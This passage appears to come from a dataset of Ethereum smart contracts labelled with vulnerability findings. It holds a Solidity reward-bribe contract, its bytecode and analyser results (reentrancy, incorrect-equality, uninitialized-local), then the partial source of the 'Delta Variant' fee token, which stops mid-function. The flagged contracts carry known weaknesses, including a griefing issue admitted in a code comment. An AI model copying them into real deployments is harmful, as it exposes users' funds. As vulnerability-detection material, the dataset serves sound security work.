function getRewardForOwner(uint tokenId, address[] memory tokens) external lock {
require(msg.sender == factory);
address _owner = ve(_ve).ownerOf(tokenId);
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], _owner, _reward);
emit ClaimRewards(_owner, tokens[i], _reward);
}
}
function rewardPerToken(address token) public view returns (uint) {
if (totalSupply == 0) {
return rewardPerTokenStored[token];
}
return rewardPerTokenStored[token] + ((lastTimeRewardApplicable(token) - Math.min(lastUpdateTime[token], periodFinish[token])) * rewardRate[token] * PRECISION / totalSupply);
}
function batchRewardPerToken(address token, uint maxRuns) external {
(rewardPerTokenStored[token], lastUpdateTime[token]) = _batchRewardPerToken(token, maxRuns);
}
function _batchRewardPerToken(address token, uint maxRuns) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = Math.min(supplyNumCheckpoints-1, maxRuns);
for (uint i = _startIndex; i < _endIndex; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, endTime);
_startTimestamp = endTime;
}
}
return (reward, _startTimestamp);
}
function _calcRewardPerToken(address token, uint timestamp1, uint timestamp0, uint supply, uint startTimestamp) internal view returns (uint, uint) {
uint endTime = Math.max(timestamp1, startTimestamp);
return (((Math.min(endTime, periodFinish[token]) - Math.min(Math.max(timestamp0, startTimestamp), periodFinish[token])) * rewardRate[token] * PRECISION / supply), endTime);
}
function _updateRewardPerToken(address token) internal returns (uint, uint) {
uint _startTimestamp = lastUpdateTime[token];
uint reward = rewardPerTokenStored[token];
if (supplyNumCheckpoints == 0) {
return (reward, _startTimestamp);
}
if (rewardRate[token] == 0) {
return (reward, block.timestamp);
}
uint _startIndex = getPriorSupplyIndex(_startTimestamp);
uint _endIndex = supplyNumCheckpoints-1;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
SupplyCheckpoint memory sp0 = supplyCheckpoints[i];
if (sp0.supply > 0) {
SupplyCheckpoint memory sp1 = supplyCheckpoints[i+1];
(uint _reward, uint _endTime) = _calcRewardPerToken(token, sp1.timestamp, sp0.timestamp, sp0.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, _endTime);
_startTimestamp = _endTime;
}
}
}
SupplyCheckpoint memory sp = supplyCheckpoints[_endIndex];
if (sp.supply > 0) {
(uint _reward,) = _calcRewardPerToken(token, lastTimeRewardApplicable(token), Math.max(sp.timestamp, _startTimestamp), sp.supply, _startTimestamp);
reward += _reward;
_writeRewardPerTokenCheckpoint(token, reward, block.timestamp);
_startTimestamp = block.timestamp;
}
return (reward, _startTimestamp);
}
function earned(address token, uint tokenId) public view returns (uint) {
uint _startTimestamp = Math.max(lastEarn[token][tokenId], rewardPerTokenCheckpoints[token][0].timestamp);
if (numCheckpoints[tokenId] == 0) {
return 0;
}
uint _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp);
uint _endIndex = numCheckpoints[tokenId]-1;
uint reward = 0;
if (_endIndex - _startIndex > 1) {
for (uint i = _startIndex; i < _endIndex-1; i++) {
Checkpoint memory cp0 = checkpoints[tokenId][i];
Checkpoint memory cp1 = checkpoints[tokenId][i+1];
(uint _rewardPerTokenStored0,) = getPriorRewardPerToken(token, cp0.timestamp);
(uint _rewardPerTokenStored1,) = getPriorRewardPerToken(token, cp1.timestamp);
reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
}
}
Checkpoint memory cp = checkpoints[tokenId][_endIndex];
(uint _rewardPerTokenStored,) = getPriorRewardPerToken(token, cp.timestamp);
reward += cp.balanceOf * (rewardPerToken(token) - Math.max(_rewardPerTokenStored, userRewardPerTokenStored[token][tokenId])) / PRECISION;
return reward;
}
// This is an external function, but internal notation is used since it can only be called "internally" from BaseV1Gauges
function _deposit(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply += amount;
balanceOf[tokenId] += amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Deposit(msg.sender, tokenId, amount);
}
function _withdraw(uint amount, uint tokenId) external {
require(msg.sender == factory);
totalSupply -= amount;
balanceOf[tokenId] -= amount;
_writeCheckpoint(tokenId, balanceOf[tokenId]);
_writeSupplyCheckpoint();
emit Withdraw(msg.sender, tokenId, amount);
}
function left(address token) external view returns (uint) {
if (block.timestamp >= periodFinish[token]) return 0;
uint _remaining = periodFinish[token] - block.timestamp;
return _remaining * rewardRate[token];
}
// used to notify a gauge/bribe of a given reward, this can create griefing attacks by extending rewards
function notifyRewardAmount(address token, uint amount) external lock {
require(amount > 0);
if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
(rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token);
if (block.timestamp >= periodFinish[token]) {
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = amount / DURATION;
} else {
uint _remaining = periodFinish[token] - block.timestamp;
uint _left = _remaining * rewardRate[token];
require(amount > _left);
_safeTransferFrom(token, msg.sender, address(this), amount);
rewardRate[token] = (amount + _left) / DURATION;
}
require(rewardRate[token] > 0);
uint balance = erc20(token).balanceOf(address(this));
require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
periodFinish[token] = block.timestamp + DURATION;
if (!isReward[token]) {
isReward[token] = true;
rewards.push(token);
}
emit NotifyReward(msg.sender, token, amount);
}
function _safeTransfer(address token, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeTransferFrom(address token, address from, address to, uint256 value) internal {
require(token.code.length > 0);
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
}
contract BribeFactory {
address public last_gauge;
function createBribe() external returns (address) {
last_gauge = address(new Bribe(msg.sender));
return last_gauge;
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80639e2bf22c1161011a578063e6886396116100ad578063f301af421161007c578063f301af4214610559578063f32077231461056c578063f5f8d3651461057f578063f7412baf14610592578063fd314098146105b957600080fd5b8063e68863961461050a578063e8111a1214610512578063f12297771461051b578063f25e55a51461052e57600080fd5b8063aaf5eb68116100e9578063aaf5eb68146104a1578063b66503cf146104b0578063c45a0155146104c3578063da09d19d146104ea57600080fd5b80639e2bf22c14610448578063a28d4c9c1461045b578063a7852afa1461046e578063aa4796521461048157600080fd5b80634d5ce0381161019d57806376f4be361161016c57806376f4be36146103a35780638dd598fb146103b657806399bcc052146103f55780639cc7f708146104085780639ce43f901461042857600080fd5b80634d5ce03814610328578063505897931461035b5780635a45d0521461037b578063638634ee1461039057600080fd5b80632ce9aead116101d95780632ce9aead146102985780633b881999146102b85780633e491d47146102e357806349dcc204146102f657600080fd5b806301316ddf1461020b57806318160ddd146102575780631be052891461026e578063221ca18c14610278575b600080fd5b61023d610219366004612243565b600e6020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152015b60405180910390f35b61026060085481565b60405190815260200161024e565b61026062093a8081565b61026061028636600461226f565b60006020819052908152604090205481565b6102606102a636600461226f565b60026020526000908152604090205481565b6102606102c6366004612243565b600560209081526000928352604080842090915290825290205481565b6102606102f1366004612243565b6105cc565b61023d61030436600461228c565b600a6020908152600092835260408084209091529082529020805460019091015482565b61034b61033636600461226f565b60076020526000908152604090205460ff1681565b604051901515815260200161024e565b6102606103693660046122ae565b600b6020526000908152604090205481565b61038e610389366004612243565b610834565b005b61026061039e36600461226f565b61086c565b6102606103b13660046122ae565b610890565b6103dd7f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f81565b6040516001600160a01b03909116815260200161024e565b61026061040336600461226f565b6109c2565b6102606104163660046122ae565b60096020526000908152604090205481565b61026061043636600461226f565b60036020526000908152604090205481565b61038e61045636600461228c565b610a33565b61026061046936600461228c565b610b04565b61038e61047c3660046122dd565b610c47565b61026061048f36600461226f565b600f6020526000908152604090205481565b610260670de0b6b3a764000081565b61038e6104be366004612243565b610f87565b6103dd7f00000000000000000000000089549e232aacc4579f93b65735a9349038a4777581565b6102606104f836600461226f565b60016020526000908152604090205481565b600654610260565b610260600d5481565b61026061052936600461226f565b6112ce565b61026061053c366004612243565b600460209081526000928352604080842090915290825290205481565b6103dd6105673660046122ae565b61138c565b61038e61057a36600461228c565b6113b6565b61038e61058d3660046122dd565b61147f565b61023d6105a03660046122ae565b600c602052600090815260409020805460019091015482565b61023d6105c7366004612243565b611786565b6001600160a01b0382166000818152600460209081526040808320858452825280832054938352600e82528083208380529091528120549091829161061191906119a5565b6000848152600b602052604090205490915061063157600091505061082e565b600061063d8483610b04565b6000858152600b60205260408120549192509061065c906001906123c4565b90506000600161066c84846123c4565b111561077257825b61067f6001846123c4565b811015610770576000878152600a60208181526040808420858552808352818520825180840190935280548352600190810154838501528c865293909252929182906106cc9086906123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600061070b8b8460000151611786565b509050600061071e8c8460000151611786565b509050670de0b6b3a764000061073483836123c4565b856020015161074391906123f3565b61074d9190612412565b61075790876123db565b955050505050808061076890612434565b915050610674565b505b6000868152600a602090815260408083208584528252808320815180830190925280548083526001909101549282019290925291906107b2908a90611786565b506001600160a01b038a1660009081526005602090815260408083208c8452909152902054909150670de0b6b3a7640000906107ef9083906119a5565b6107f88b6112ce565b61080291906123c4565b836020015161081191906123f3565b61081b9190612412565b61082590846123db565b96505050505050505b92915050565b61083e82826119bc565b6001600160a01b03909316600090815260036020908152604080832060029092529091209390935590915550565b6001600160a01b03811660009081526001602052604081205461082e904290611b1b565b600d54600090806108a45750600092915050565b82600c60006108b46001856123c4565b815260200190815260200160002060000154116108dd576108d66001826123c4565b9392505050565b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8548310156109185750600092915050565b6000806109266001846123c4565b90505b818111156109ba576000600261093f84846123c4565b6109499190612412565b61095390836123c4565b6000818152600c6020908152604091829020825180840190935280548084526001909101549183019190915291925090871415610994575095945050505050565b80518711156109a5578193506109b3565b6109b06001836123c4565b92505b5050610929565b509392505050565b6001600160a01b03811660009081526001602052604081205442106109e957506000919050565b6001600160a01b038216600090815260016020526040812054610a0d9042906123c4565b6001600160a01b0384166000908152602081905260409020549091506108d690826123f3565b336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a477751614610a6857600080fd5b8160086000828254610a7a91906123c4565b909155505060008181526009602052604081208054849290610a9d9084906123c4565b9091555050600081815260096020526040902054610abc908290611b2a565b610ac4611c03565b604080518281526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56891015b60405180910390a25050565b6000828152600b602052604081205480610b2257600091505061082e565b6000848152600a602052604081208491610b3d6001856123c4565b81526020019081526020016000206000015411610b6757610b5f6001826123c4565b91505061082e565b6000848152600a60209081526040808320838052909152902054831015610b9257600091505061082e565b600080610ba06001846123c4565b90505b81811115610c3e5760006002610bb984846123c4565b610bc39190612412565b610bcd90836123c4565b6000888152600a60209081526040808320848452825291829020825180840190935280548084526001909101549183019190915291925090871415610c185750935061082e92505050565b8051871115610c2957819350610c37565b610c346001836123c4565b92505b5050610ba3565b50949350505050565b601054600114610c5657600080fd5b6002601055336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a477751614610c9057600080fd5b6040516331a9108f60e11b8152600481018390526000907f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f6001600160a01b031690636352211e90602401602060405180830381865afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061244f565b905060005b8251811015610f7c57610d4c838281518110610d3f57610d3f61246c565b6020026020010151611ca7565b60036000868581518110610d6257610d6261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060026000888781518110610da257610da261246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008491905055839190505550506000610dfd848381518110610def57610def61246c565b6020026020010151866105cc565b90504260046000868581518110610e1657610e1661246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008781526020019081526020016000208190555060036000858481518110610e6957610e6961246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460056000868581518110610ea857610ea861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208982529092529020558015610f0357610f03848381518110610ef457610ef461246c565b60200260200101518483611e8a565b838281518110610f1557610f1561246c565b60200260200101516001600160a01b0316836001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc983604051610f6191815260200190565b60405180910390a35080610f7481612434565b915050610d21565b505060016010555050565b601054600114610f9657600080fd5b600260105580610fa557600080fd5b6001600160a01b038216600090815260208190526040902054610fce57610fce82600042611f79565b610fd782611ca7565b6001600160a01b03841660009081526003602090815260408083206002835281842094909455939092556001909152205442106110455761101a82333084612068565b61102762093a8082612412565b6001600160a01b0383166000908152602081905260409020556110de565b6001600160a01b0382166000908152600160205260408120546110699042906123c4565b6001600160a01b0384166000908152602081905260408120549192509061109090836123f3565b905080831161109e57600080fd5b6110aa84333086612068565b62093a806110b882856123db565b6110c29190612412565b6001600160a01b03851660009081526020819052604090205550505b6001600160a01b03821660009081526020819052604090205461110057600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b9190612482565b905061117a62093a8082612412565b6001600160a01b03841660009081526020819052604090205411156111e55760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015260640160405180910390fd5b6111f262093a80426123db565b6001600160a01b03841660009081526001602090815260408083209390935560079052205460ff16611284576001600160a01b0383166000818152600760205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6040518281526001600160a01b0384169033907ff70d5c697de7ea828df48e5c4573cb2194c659f1901f70110c52b066dcf508269060200160405180910390a35050600160105550565b6000600854600014156112f757506001600160a01b031660009081526003602052604090205490565b6008546001600160a01b0383166000908152602081815260408083205460028352818420546001909352922054670de0b6b3a7640000929161133891611b1b565b6113418661086c565b61134b91906123c4565b61135591906123f3565b61135f91906123f3565b6113699190612412565b6001600160a01b03831660009081526003602052604090205461082e91906123db565b6006818154811061139c57600080fd5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f00000000000000000000000089549e232aacc4579f93b65735a9349038a4777516146113eb57600080fd5b81600860008282546113fd91906123db565b9091555050600081815260096020526040812080548492906114209084906123db565b909155505060008181526009602052604090205461143f908290611b2a565b611447611c03565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159101610af8565b60105460011461148e57600080fd5b600260105560405163430c208160e01b8152336004820152602481018390527f000000000000000000000000f2fec13cdb46760e065ddc1df9da16cb87afd61f6001600160a01b03169063430c208190604401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611522919061249b565b61152b57600080fd5b60005b815181101561177c5761154c828281518110610d3f57610d3f61246c565b600360008585815181106115625761156261246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600260008787815181106115a2576115a261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600084919050558391905055505060006115fd8383815181106115ef576115ef61246c565b6020026020010151856105cc565b905042600460008585815181106116165761161661246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086815260200190815260200160002081905550600360008484815181106116695761166961246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600560008585815181106116a8576116a861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208882529092529020558015611703576117038383815181106116f4576116f461246c565b60200260200101513383611e8a565b8282815181106117155761171561246c565b60200260200101516001600160a01b0316336001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc98360405161176191815260200190565b60405180910390a3508061177481612434565b91505061152e565b5050600160105550565b6001600160a01b0382166000908152600f60205260408120548190806117b357600080925092505061199e565b6001600160a01b0385166000908152600e6020526040812085916117d86001856123c4565b81526020019081526020016000206000015411611875576001600160a01b0385166000908152600e60205260408120906118136001846123c4565b815260200190815260200160002060010154600e6000876001600160a01b03166001600160a01b03168152602001908152602001600020600060018461185991906123c4565b815260200190815260200160002060000154925092505061199e565b6001600160a01b0385166000908152600e602090815260408083208380529091529020548410156118ad57600080925092505061199e565b6000806118bb6001846123c4565b90505b8181111561196d57600060026118d484846123c4565b6118de9190612412565b6118e890836123c4565b6001600160a01b0389166000908152600e602090815260408083208484528252918290208251808401909352805480845260019091015491830191909152919250908814156119475760208101519051909650945061199e9350505050565b805188111561195857819350611966565b6119636001836123c4565b92505b50506118be565b506001600160a01b0386166000908152600e6020908152604080832093835292905220600181015490549093509150505b9250929050565b6000818310156119b557816108d6565b5090919050565b6001600160a01b0382166000908152600260209081526040808320546003909252822054600d54839291906119f4579250905061199e565b6001600160a01b038616600090815260208190526040902054611a1d57925042915061199e9050565b6000611a2883610890565b90506000611a446001600d54611a3e91906123c4565b88611b1b565b9050815b81811015611b0c576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611af9576000600c81611a8d8560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611ad88d8460000151866000015187602001518d612160565b9092509050611ae782896123db565b9750611af48d8983611f79565b975050505b5080611b0481612434565b915050611a48565b50919792965091945050505050565b60008183106119b557816108d6565b6000828152600b602052604090205442908015801590611b7457506000848152600a602052604081208391611b606001856123c4565b815260200190815260200160002060000154145b15611bad576000848152600a602052604081208491611b946001856123c4565b8152602081019190915260400160002060010155611bfd565b60408051808201825283815260208082018681526000888152600a8352848120868252909252929020905181559051600191820155611bed9082906123db565b6000858152600b60205260409020555b50505050565b600d54428115801590611c35575080600c6000611c216001866123c4565b815260200190815260200160002060000154145b15611c6457600854600c6000611c4c6001866123c4565b81526020810191909152604001600020600101555050565b60408051808201825282815260085460208083019182526000868152600c90915292909220905181559051600191820155611ca09083906123db565b600d555050565b6001600160a01b0381166000908152600260209081526040808320546003909252822054600d5483929190611cdf5794909350915050565b6001600160a01b038516600090815260208190526040902054611d06579442945092505050565b6000611d1183610890565b905060006001600d54611d2491906123c4565b90506001611d3283836123c4565b1115611e0a57815b611d456001836123c4565b811015611e08576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611df5576000600c81611d898560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611dd48c8460000151866000015187602001518d612160565b9092509050611de382896123db565b9750611df08c8983611f79565b975050505b5080611e0081612434565b915050611d3a565b505b6000818152600c60209081526040918290208251808401909352805483526001015490820181905215611e7c576000611e5d89611e468b61086c565b8451611e52908a6119a5565b85602001518a612160565b509050611e6a81866123db565b9450611e77898642611f79565b429550505b509196929550919350505050565b6000836001600160a01b03163b11611ea157600080fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611efd91906124bd565b6000604051808303816000865af19150503d8060008114611f3a576040519150601f19603f3d011682016040523d82523d6000602084013e611f3f565b606091505b5091509150818015611f69575080511580611f69575080806020019051810190611f69919061249b565b611f7257600080fd5b5050505050565b6001600160a01b0383166000908152600f60205260409020548015801590611fd557506001600160a01b0384166000908152600e602052604081208391611fc16001856123c4565b815260200190815260200160002060000154145b15611fff576001600160a01b0384166000908152600e602052604081208491611b946001856123c4565b60408051808201825283815260208082018681526001600160a01b0388166000908152600e83528481208682529092529290209051815590516001918201556120499082906123db565b6001600160a01b0385166000908152600f602052604090205550505050565b6000846001600160a01b03163b1161207f57600080fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916120e391906124bd565b6000604051808303816000865af19150503d8060008114612120576040519150601f19603f3d011682016040523d82523d6000602084013e612125565b606091505b509150915081801561214f57508051158061214f57508080602001905181019061214f919061249b565b61215857600080fd5b505050505050565b600080600061216f87856119a5565b6001600160a01b0389166000908152602081905260409020549091508590670de0b6b3a7640000906121c26121a48a896119a5565b6001600160a01b038d16600090815260016020526040902054611b1b565b6001600160a01b038c166000908152600160205260409020546121e6908690611b1b565b6121f091906123c4565b6121fa91906123f3565b61220491906123f3565b61220e9190612412565b9890975095505050505050565b6001600160a01b038116811461223057600080fd5b50565b803561223e8161221b565b919050565b6000806040838503121561225657600080fd5b82356122618161221b565b946020939093013593505050565b60006020828403121561228157600080fd5b81356108d68161221b565b6000806040838503121561229f57600080fd5b50508035926020909101359150565b6000602082840312156122c057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156122f057600080fd5b8235915060208084013567ffffffffffffffff8082111561231057600080fd5b818601915086601f83011261232457600080fd5b813581811115612336576123366122c7565b8060051b604051601f19603f8301168101818110858211171561235b5761235b6122c7565b60405291825284820192508381018501918983111561237957600080fd5b938501935b8285101561239e5761238f85612233565b8452938501939285019261237e565b8096505050505050509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156123d6576123d66123ae565b500390565b600082198211156123ee576123ee6123ae565b500190565b600081600019048311821515161561240d5761240d6123ae565b500290565b60008261242f57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612448576124486123ae565b5060010190565b60006020828403121561246157600080fd5b81516108d68161221b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561249457600080fd5b5051919050565b6000602082840312156124ad57600080fd5b815180151581146108d657600080fd5b6000825160005b818110156124de57602081860181015185830152016124c4565b818111156124ed576000828501525b50919091019291505056fea2646970667358221220a22a6d9731fe98e7396bc8f8c9b50514291e16577c041398eaf2bd17fac19cd864736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,044 |
0x23724d0038e4792ea2cb54c8dd4a05a8b586142d
|
/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DeltaVariant is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Delta Variant";
string private constant _symbol = unicode"DELTAVARIANT";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _ronaFee = 3;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousronaFee = _ronaFee;
uint256 private _BuyFee = _ronaFee;
uint256 private _SellFee = _ronaFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _ronaFee == 0) return;
_previousTaxFee = _taxFee;
_previousronaFee = _ronaFee;
_taxFee = 0;
_ronaFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_ronaFee = _previousronaFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_ronaFee = _BuyFee;
if(_cooldownEnabled) {
